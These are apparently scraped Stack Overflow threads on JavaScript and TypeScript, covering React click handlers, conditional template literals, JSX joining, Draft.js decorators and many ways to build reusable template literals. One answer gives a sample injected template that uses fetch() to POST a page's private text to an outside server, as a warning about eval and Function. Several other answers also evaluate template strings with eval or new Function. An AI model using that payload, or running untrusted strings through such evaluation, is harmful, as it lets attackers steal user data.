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How can I pass innerHTML to an onClick function (Typescript)

I'm trying to pass the Square element's innerHTML to the onClick function. I have also tried to pass in just i but it always is equal to 100. Is there a way to either pass i when it's equal to the same value that goes into the Square or is there a way to pass the innerHTML to the function. Currently, this code generates the error:
[TS: 2532]this is possibly undefined
I'm making a grid of 100 squares, each one is a button, and each one should have it's own ID/number from 1-100 to identify them.
This is what I have currently: Grid of 100 squares arranged in 10x10 formation
export const Square = (props:any) =>{
i += 1;
if(i > 100)
{
i = 1;
}
return(
<DefaultButton styles={factionMapButton} onClick={()=>onSquareClick(this.innerHTML,props.onClick)}>{i}</DefaultButton>
);
}
const onSquareClick = (number:any,isOpen:any) => {
console.log(number);
const panelContent = document.getElementById("panelContent");
if(panelContent !== null)
{
panelContent.innerHTML = number;
}
isOpen();
}

You have quite a few problems.
You should do your best to avoid any in TypeScript, especially not liberally - that defeats the whole purpose of type-checking. If you're trying to fix type problems, you should start by also typing everything properly.
Arrow functions do not have their this altered by the calling context. If there's no enclosing full-fledged function, the this in an arrow function will be the global object or undefined, both of which are useless to you. Either use a function to capture the this, or, even better, use the click event's currentTarget to get a reference to the clicked button.
The .innerHTML of an element returns a string, not an element. If it contains a string that can be coerced to a number, explicitly coerce it to a number instead. (If the HTML content is only the string that can be coerced to the number, you should use .textContent instead - only use .innerHTML when deliberately setting or retrieving HTML markup, not plain text)
A better approach would be to pass down the i to onSquareClick instead of using DOM manipulation - using the closure is much easier
let i = 1;
export const Square = ({ onClick }: { onClick: () => void }) => {
i += 1;
if (i > 100) {
i = 1;
}
return (
<DefaultButton styles={factionMapButton} onClick={(e) => { onSquareClick(i, onClick); }}>{i}</DefaultButton>
);
};
const onSquareClick = (number: number, isOpen: () => void) => {
const panelContent = document.getElementById('panelContent');
if (panelContent !== null) {
panelContent.innerHTML = String(number);
}
isOpen();
};
If you're using React, you should not be using vanilla DOM manipulation like panelContent.innerHTML = number; - instead, set React state that the view uses to determine what should exist in that element. Something like
// Parent component:
const [panelContentText, setPanelContentText] = useState('');
// expand as needed for the other components in your app...
return <div id="panelContent">{panelContentText}</div>
<Square setPanelContentText={setPanelContentText} /* and other props */ />
// ...
// Then call the setPanelContentText prop in onSquareClick
const onSquareClick = (number: number, isOpen: () => void, setPanelContentText: React.Dispatch<React.SetStateAction<string>>) => {
setPanelContentText(String(number));
isOpen();
};
I'd recommend looking into an introductory React tutorial, it looks like you might benefit from learning the process within React's ecosystem, rather than trying to mishmash your understanding of vanilla JS's DOM with React.

Conditional statement within template literal concatenation?

I am making an API call like this:
posts: (ppp, page) =>
requests.get(`/wp-json/wp/v2/posts?per_page=${ppp}&page=${page}`)
I am not always going to be passing in posts per page or page though, so I would like to only concatenate those variables if they exist. I tried below but I can't seem to get the formatting down:
requests.get(`/wp-json/wp/v2/posts?`${ppp ? `'per_page='${ppp} : `''` `${page} ? `'&page=' ${page}` :''`)

Besides that your second solution contains syntax errors, it also isn't the most readable way to do that...
But why are you trying to reinvent the wheel?
You can use the URL API which is available both on the client-side and in Node.js:
posts: (ppp, page) => {
const url = new URL('/wp-json/wp/v2/posts')
if(ppp) url.searchParams.append('per_page', ppp)
if(page) url.searchParams.append('page', page)
return requests.get(url.href)
}
However, if you can't use the above solution for some reason, you can still implement a similar algorithm that works like the above solution. For example, you can use an array:
posts: (ppp, page) => {
const urlParams = []
if(ppp) urlParams.push(`per_page=${ppp}`)
if(page) urlParams.push(`page=${page}`)
return requests.get(`/wp-json/wp/v2/posts?${ urlParams.join('&') }`)
}
Or an even more flexible solution:
posts: (ppp, page) => {
const urlParams = {
per_page: ppp, //per_page=ppp
page, //page=page
//Add more here if you want
}
return requests.get(`/wp-json/wp/v2/posts?${
Object
.entries(urlParams)
.filter(([k, v]) => v) //If value is truthy
.map(e => e.join('=')) //Concatenate key and value with =
.join('&') //Concatenate key-value pairs with &
}`)
}
But, if you want to stick to you version, here's a fixed example of it:
requests.get(`/wp-json/wp/v2/posts?${ppp ? `per_page=${ppp}` : ''}${(ppp && page) ? '&' : ''}${page ? `page=${page}` : ''}`)

ReactJS: Join map output with concatenating value

In my ReactJS application I am getting the mobile numbers as a string which I need to break and generate a link for them to be clickable on the mobile devices. But, instead I am getting [object Object], [object Object] as an output, whereas it should be xxxxx, xxxxx, ....
Also, I need to move this mobileNumbers function to a separate location where it can be accessed via multiple components.
For example: Currently this code is located in the Footer component and this code is also need on the Contact Us component.
...
function isEmpty(value) {
return ((value === undefined) || (value === null))
? ''
: value;
};
function mobileNumbers(value) {
const returning = [];
if(isEmpty(value))
{
var data = value.split(',');
data.map((number, index) => {
var trimed = number.trim();
returning.push(<NavLink to={`tel:${trimed}`} key={index}>{trimed}</NavLink>);
});
return returning.join(', ');
}
return '';
};
...
What am I doing wrong here?
Is there any way to create a separate file for the common constants / functions like this to be accessed when needed?

First question:
What am I doing wrong here?
The issue what you have is happening because of Array.prototype.join(). If creates a string at the end of the day. From the documentation:
The join() method creates and returns a new string by concatenating all of the elements in an array (or an array-like object), separated by commas or a specified separator string. If the array has only one item, then that item will be returned without using the separator.
Think about the following:
const navLinks = [{link:'randomlink'}, {link:'randomlink2'}];
console.log(navLinks.join(','))
If you would like to use concatenate with , then you can do similarly like this:
function mobileNumbers(value) {
if(isEmpty(value)) {
const data = value.split(',');
return data.map((number, index) => {
const trimed = number.trim();
return <NavLink to={`tel:${trimed}`} key={index}>{trimed}</NavLink>;
}).reduce((prev, curr) => [prev, ', ', curr]);
}
return [];
};
Then you need to use map() in JSX to make it work.
Second question:
Is there any way to create a separate file for the common constants / functions like this to be accessed when needed?
Usually what I do for constants is that I create in the src folder a file called Consts.js and put there as the following:
export default {
AppLogo: 'assets/logo_large.jpg',
AppTitle: 'Some app name',
RunFunction: function() { console.log(`I'm running`) }
}
Then simply import in a component when something is needed like:
import Consts from './Consts';
And using in render for example:
return <>
<h1>{Consts.AppTitle}</h1>
</>
Similarly you can call functions as well.
+1 suggestion:
Array.prototype.map() returns an array so you don't need to create one as you did earlier. From the documentation:
The map() method creates a new array populated with the results of calling a provided function on every element in the calling array.
I hope this helps!

Draft.js - CompositeDecorator: Is there a way to pass information from the strategy to the component?

Lets say my strategy calculates some numbered label. How can I pass this (e.g. via props) to the decorator component.
I know there is a props property in CompositeDecorator but how can I access it from the strategy function?

I'm a bit new to DraftJs, but based on my understanding:
Strategies should be used to identify the range of text that need to be decorated. The rendering of that decoration (which presumably includes calculating what the label should be) should be handled in the component itself, rather than the strategy.
You should be able to access the ContentState via the props object in your component, and calculate the label from that. The constructor of your component could be a good place for executing the logic for calculating the label. This also means that you might have to use a class definition for your decorator components as opposed to a pure function as shown in the examples on the draftjs website.

You can also circumvent the issue by reading the values from the text with regex. The following example is done with #draft-js-plugins:
// How the section is detected.
const strategy = (contentBlock, callback) => {
const text = contentBlock.getText();
const start = text.indexOf('<_mytag ');
const endTag = '/>';
const end = text.indexOf(endTag);
if (start !== -1 && end !== -1) {
callback(start, end + endTag.length);
}
};
// What is rendered for the detected section.
const component = ({ decoratedText }) => {
if (decoratedText) {
const label = decoratedText.match(/label="([a-zA-Z0-9/\s]*?)"/);
if (
label &&
typeof label[1] === 'string'
) {
return <div>{label[1]}</div>;
}
return null;
}
};
export const MyTagPlugin = {
decorators: [
{
strategy,
component,
},
],
};

Can ES6 template literals be substituted at runtime (or reused)?

tl;dr: Is it possible to make a reusable template literal?
I've been trying to use template literals but I guess I just don't get it and now I'm getting frustrated. I mean, I think I get it, but "it" shouldn't be how it works, or how it should get. It should get differently.
All the examples I see (even tagged templates) require that the "substitutions" be done at declaration time and not run time, which seems utterly useless to me for a template. Maybe I'm crazy, but a "template" to me is a document that contains tokens which get substituted when you use it, not when you create it, otherwise it's just a document (i.e., a string). A template is stored with the tokens as tokens & those tokens are evaluated when you...evaluate it.
Everyone cites a horrible example similar to:
var a = 'asd';
return `Worthless ${a}!`
That's nice, but if I already know a, I would just return 'Worthless asd' or return 'Worthless '+a. What's the point? Seriously. Okay the point is laziness; fewer pluses, more readability. Great. But that's not a template! Not IMHO. And MHO is all that matters! The problem, IMHO, is that the template is evaluated when it's declared, so, if you do, IMHO:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!
Since expletive isn't declared, it outputs something like My undefined template. Super. Actually, in Chrome at least, I can't even declare the template; it throws an error because expletive is not defined. What I need is to be able to do the substitution after declaring the template:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template
However I don't see how this is possible, since these aren't really templates. Even when you say I should use tags, nope, they don't work:
> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...
This all has led me to believe that template literals are horribly misnamed and should be called what they really are: heredocs. I guess the "literal" part should have tipped me off (as in, immutable)?
Am I missing something? Is there a (good) way to make a reusable template literal?
I give you, reusable template literals:
> function out(t) { console.log(eval(t)); }
var template = `\`This is
my \${expletive} reusable
template!\``;
out(template);
var expletive = 'curious';
out(template);
var expletive = 'AMAZING';
out(template);
< This is
my undefined reusable
template!
This is
my curious reusable
template!
This is
my AMAZING reusable
template!
And here is a naive "helper" function...
function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);
...to make it "better".
I'm inclined to call them template guterals because of the area from which they produce twisty feelings.

To make these literals work like other template engines there needs to be an intermediary form.
The best way to do this is to use the Function constructor.
const templateString = "Hello ${this.name}!";
const templateVars = {
name: "world"
}
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
console.log(fillTemplate(templateString, templateVars));
As with other template engines, you can get that string from other places like a file.
Some issues can appear using this method (for example, template tags would be harder to add). You also can't have inline JavaScript logic, because of the late interpolation. This can also be remedied with some thought.

You can put a template string in a function:
function reusable(a, b) {
return `a is ${a} and b is ${b}`;
}
You can do the same thing with a tagged template:
function reusable(strings) {
return function(... vals) {
return strings.map(function(s, i) {
return `${s}${vals[i] || ""}`;
}).join("");
};
}
var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"
The idea is to let the template parser split out the constant strings from the variable "slots", and then return a function that patches it all back together based on a new set of values each time.

Probably the cleanest way to do this is with arrow functions (because at this point, we're using ES6 already)
var reusable = () => `This ${object} was created by ${creator}`;
var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"
object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"
...And for tagged template literals:
reusable = () => myTag`The ${noun} go ${verb} and `;
var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"
noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"
This also avoids the use of eval() or Function() which can cause problems with compilers and cause a lot of slowdown.

Yes you can do it by parsing your string with template as JS by Function (or eval) - but this is not recommended and allow XSS attack
// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
function parseString() {
// Example malicious string which will 'hack' fillTemplate function
var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
var templateData = {Id:1234, User:22};
var result = fillTemplate(evilTemplate, templateData);
console.log(result);
alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);
}
#mydiv { background: red; margin: 20px}
.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template
with JS code... and when other logged users "see" that malicious
template (e.g. by "Click me!" in this example),
then it can read some information from their current
page with private content and send it to external server.
Or in worst case, that malicious template can send some
authorized "action" request to the backend...
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>
<div id="msg"></div>
<button class="btn" onclick="parseString()">Click me! :)</button>
Instead you can safely insert object obj fields to template str in dynamic way as follows
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
// --- test ---
// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);
// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

Simplifying the answer provided by #metamorphasi;
const fillTemplate = function(templateString, templateVars){
var func = new Function(...Object.keys(templateVars), "return `"+templateString +"`;")
return func(...Object.values(templateVars));
}
// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);
console.log(result);

In 2021 came the most straightforward solution yet.
const tl = $ =>`This ${$.val}`;
tl({val: 'code'});
It is almost the same as just writing and reusing a template literal (what the OP was wanting).
You can tweak things from here...

2019 answer:
Note: The library originally expected users to sanitise strings to avoid XSS. Version 2 of the library no longer requires user strings to be sanitised (which web developers should do anyway) as it avoids eval completely.
The es6-dynamic-template module on npm does this.
const fillTemplate = require('es6-dynamic-template');
Unlike the current answers:
It uses ES6 template strings, not a similar format. Update version 2 uses a similar format, rather than ES6 template strings, to prevent users from using unsanitised input Strings.
It doesn't need this in the template string
You can specify the template string and variables in a single function
It's a maintained, updatable module, rather than copypasta from StackOverflow
Usage is simple. Use single quotes as the template string will be resolved later!
const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

Am I missing something? Is there a [good] way to make a reusable template literal?
Maybe I am missing something, because my solution to this issue seems so obvious to me that I am very surprised nobody wrote that already in such an old question.
I have an almost one-liner for it:
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
That's all. When I want to reuse a template and defer the resolution of the substitutions, I just do:
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
t = defer`My template is: ${null} and ${null}`;
a = t('simple', 'reusable');
// 'My template is: simple and reusable'
b = t('obvious', 'late to the party');
// 'My template is: obvious and late to the party'
c = t(null);
// 'My template is: null and undefined'
d = defer`Choose: ${'ignore'} / ${undefined}`(true, false);
// 'Choose: true / false'
console.log(a + "\n" + b + "\n" + c + "\n" + d + "\n");
Applying this tag returns back a 'function' (instead of a 'string') that ignores any parameters passed to the literal. Then it can be called with new parameters later. If a parameter has no corresponding replace, it becomes 'undefined'.
Extended answer
This simple code is functional, but if you need more elaborated behavior, that same logic can be applied and there are endless possibilities. You could:
Make use of original parameters:
You could store the original values passed to the literal in the construction and use them in creative ways when applying the template. They could become flags, type validators, functions etc. This is an example that uses them as default values:
function deferWithDefaults([first, ...rest], ...defaults) {
return (...values) => rest.reduce((acc, curr, i) => {
return acc + (i < values.length ? values[i] : defaults[i]) + curr;
}, first);
}
t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
a = t('awesome');
// 'My template is: awesome and versatile'
console.log(a);
Write a template factory:
Do it by wrapping this logic in a function that expects, as argument, a custom function that can be applied in the reduction (when joining the pieces of the template literal) and returns a new template with custom behavior.
Then you could , e.g., write templates that automatically escape or sanitize parameters when writing embedded html, css, sql, bash...
With this naïve (I repeat, naïve!) sql template we could build queries like this:
const createTemplate = fn => function (strings, ...defaults) {
const [first, ...rest] = strings;
return (...values) => rest.reduce((acc, curr, i) => {
return acc + fn(values[i], defaults[i]) + curr;
}, first);
};
function sqlSanitize(token, tag) {
// this is a gross simplification, don't use in production.
const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/
.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
const quoteValue = value => (typeof value == 'string' ?
`'${value.replace(/'/g, "''")}'` : value);
switch (tag) {
case 'table':
return quoteName(token);
case 'columns':
return token.map(quoteName);
case 'row':
return token.map(quoteValue);
default:
return token;
}
}
const sql = createTemplate(sqlSanitize);
q = sql`INSERT INTO ${'table'} (${'columns'})
... VALUES (${'row'});`
a = q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
// `INSERT INTO user (id,"user name","is""Staff""?")
// VALUES (1,'O''neil',true);`
console.log(a);
Accept named parameters for substitution: A not-so-hard exercise, based on what was already given. There is an implementation in this other answer.
Make the return object behave like a 'string': Well, this is controversial, but could lead to interesting results. Shown in this other answer.
Resolve parameters within global namespace at call site:
I give you, reusable template literals:
Well, this is what OP showed is his addendum, using the command evil, I mean, eval. This could be done without eval, just by searching the passed variable name into the global (or window) object. I will not show how to do it because I do not like it. Closures are the right choice.

If you don't want to use ordered parameters or context/namespaces to reference the variables in your template, e.g. ${0}, ${this.something}, or ${data.something}, you can have a template function that takes care of the scoping for you.
Example of how you could call such a template:
const tempGreet = Template(() => `
<span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"
The Template function:
function Template(cb) {
return function(data) {
const dataKeys = [];
const dataVals = [];
for (let key in data) {
dataKeys.push(key);
dataVals.push(data[key]);
}
let func = new Function(...dataKeys, 'return (' + cb + ')();');
return func(...dataVals);
}
}
The quirk in this case is you just have to pass a function (in the example I used an arrow function) that returns the ES6 template literal. I think it's a minor tradeoff to get the kind of reuseable interpolation we are after.
Here it is on GitHub: https://github.com/Adelphos/ES6-Reuseable-Template

The short answer is just use _.template in lodash
// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'

Thanks to #Quentin-Engles with the excellent idea and the top answer, that got me started!
But I stored the new Function directly in a variable instead of returning the Function each time, so that both the function and the template literal are only built once, instead of each time you call it, like it is in Quentin's answer.
const templateString = "Hello ${this.name}.";
var myData = {
name: "world"
};
const buildItem = new Function("return `" + templateString + "`;");
console.log(buildItem.call(myData)); // Hello world.
myData.name = "Joe";
console.log(buildItem.call(myData)); // Hello Joe.

If you are looking for something rather simple (just fixed variable fields, no computations, conditionals…) but that does work also client-side on browsers without template string support like IE 8,9,10,11…
here we go:
fillTemplate = function (templateString, templateVars) {
var parsed = templateString;
Object.keys(templateVars).forEach(
(key) => {
const value = templateVars[key]
parsed = parsed.replace('${'+key+'}',value)
}
)
return parsed
}

In general I'm against using the evil eval(), but in this case it makes sense:
var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);
console.log(populated); // shows 1.2
Then if you change the values and call eval() again you get the new result:
a = 3; b = 4;
populated = eval(template);
console.log(populated); // shows 3.4
If you want it in a function, then it can be written like so:
function populate(a, b){
return `${a}.${b}`;
}

You could just use a one-liner tagged template, like:
const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;
and in client code your consume it like:
const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);

This is my best attempt:
var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'
To generalify:
var s = (<variable names you want>) => {return `<template with those variables>`}
If you are not running E6, you could also do:
var s = function(<variable names you want>){return `<template with those variables>`}
This seems to be a bit more concise than the previous answers.
https://repl.it/#abalter/reusable-JS-template-literal

I was annoyed at the extra redundancy needed of typing this. every time, so I also added regex to expand variables like .a to this.a.
Solution:
const interp = template => _thisObj =>
function() {
return template.replace(/\${([^}]*)}/g, (_, k) =>
eval(
k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
)
)
);
}.call(_thisObj);
Use as such:
console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!

const fillTemplate = (template, values) => {
template = template.replace(/(?<=\${)\w+(?=})/g, v=>"this."+v);
return Function.apply(this, ["", "return `"+template+"`;"]).call(values);
};
console.log(fillTemplate("The man ${man} is brother of ${brother}", {man: "John", brother:"Peter"}));
//The man John is brother of Peter

UPDATED: The following answer is limited to single variable names, so, templates like: 'Result ${a+b}' are not valid for this case. However you can always play with the template values:
format("This is a test: ${a_b}", {a_b: a+b});
ORIGINAL ANSWER:
Based in the previous answers but creating a more "friendly" utility function:
var format = (template, params) => {
let tpl = template.replace(/\${(?!this\.)/g, "${this.");
let tpl_func = new Function(`return \`${tpl}\``);
return tpl_func.call(params);
}
You can invoque it just like:
format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});
And the resulting string should be:
'This is a test: Hola, second param: Hi'

I just publish one npm package that can simply do this job.
Deeply inspired by this answer.
const Template = require('dynamic-template-string');
var tpl = new Template('hello ${name}');
tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';
Its implement is deadly simple. Wish you will like it.
module.exports = class Template {
constructor(str) {
this._func = new Function(`with(this) { return \`${str}\`; }`);
}
fill(data) {
return this._func.call(data);
}
}

you can use inline arrow function like this,
definition:
const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;
usage:
console.log(template('my replaced string'));

Runtime template string
var templateString = (template, values) => {
let output = template;
Object.keys(values)
.forEach(key => {
output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
});
return output;
};
Test
console.debug(templateString('hello ${word} world', {word: 'wonderful'}));

You can use the following function to resolve dynamically templates, supplying new data.
This use a non really common feature of javascript called Tagged Template Literal
function template(...args) {
return (values) =>
args[0].reduce(
(acum, current, index) =>
acum.concat(
current, values[index] === undefined ? '' : values[index]
),
''
)
}
const person = 'Lydia';
const age = 21;
template `${person} is ${age} years old... yes He is ${age}`(['jose', 35, 38]); //?

This gave me a major headache when I came across it. Literal templates in javascript are very cool BUT they **** as reusable or with dynamic values. But the solution is amazingly simple. So simple in fact I had to kick myself several times after spending a few days coding parsers and formatters and other solutions that ALL dead ended. In the end after I gave up on the idea and was going to use mustache or other template module, it hit me.....
const DT = function dynamicTemplate(source) { return (new Function(`return \`${source}\``))() }
//let a = 1, b = 2;
//DT("${a} + ${b} equals ${a + b}")
// prints '1 + 2 equals 3'
And that is all she wrote.

If you are using Angular, you can use #ngx-translate/core package as follows:
import { TranslateDefaultParser } from '#ngx-translate/core';
export class SomeClass {
public parser = new TranslateDefaultParser();
test() {
// outputs "This is my great reusable template!"
this.parser.interpolate('This is my {{expletive}} reusable template!', { expletive: 'great' });
}
...
}

I solved this interpolation template using:
function flatKeys(inputObject: any): {[key: string]: any} {
const response: {[key: string]: any} = {};
function iterative(currentObject: any, parentKeys: string[]=[]) {
const llaves = Object.keys(currentObject);
for (let i=0; i<llaves.length; i++) {
const llave: string = llaves[i];
const valor = currentObject[llave];
const llavesNext = parentKeys.concat(llave);
if (typeof valor == 'object') {
iterative(valor, llavesNext);
} else {
response[llavesNext.join('.')] = valor;
}
}
}
iterative(inputObject);
return response;
}
function interpolate(template: string, values: any, defaultValue='') {
const flatedValues = flatKeys(values);
const interpolated = template.replace(/\${(.*?)}/g, function (x,g) {
const value = flatedValues[g];
if ([undefined, null].indexOf(value) >= 0) {
return defaultValue;
}
return value;
});
return interpolated;
}
const template = "La ${animal.name} tomaba ${alimento.name} con el ${amigos.0.names}";
const values = {
animal: {
name:"Iguana"
},
alimento: {
name: "café"
},
amigos: [
{ name: "perro" },
true
]
};
const interpolated = interpolate(template, values);
console.log(interpolated);

All props to other answers here for teaching me about a javascript feature that I never knew about -- I knew about string template literals, but not that you could call functions with them without parens!
As a thanks here I'm sharing my typescript adaptation which makes it really easy to make a reusable template with named variables that typescript knows about -- it allows any type because they will get converted to string automagically, but you could adjust that on your own if you dislike the strategy.
/**
* Use this with a template literal in order to create reusable string template;
* use interpolation to add strings for each variable you want to use in the template.
*
* e.g.:
*
* const reUsableStringTemplate = stringTpl`${'name'} and ${'otherName'} are going to ${'place'}`;
*
* You can then call it with:
*
* const filled = reUsableStringTemplate({name: 'John', otherName: 'Jane', place: 'Paris'});
* // John and Jane are going to Paris
*
* reUsableStringTemplate will have types and know the names of your variables
*
* #returns String template function with full typescript types
*/
export function stringTpl<keys extends string>(parts: TemplateStringsArray, ...keys: keys[]) {
return (opts: Record<keys, any>) => {
let outStr = '';
for (let i = 0; i < parts.length; ++i) {
outStr += parts[i];
const key = keys.shift();
if (key && key in opts) {
outStr += opts[key];
} else {
outStr += key ?? '';
}
}
return outStr;
};
}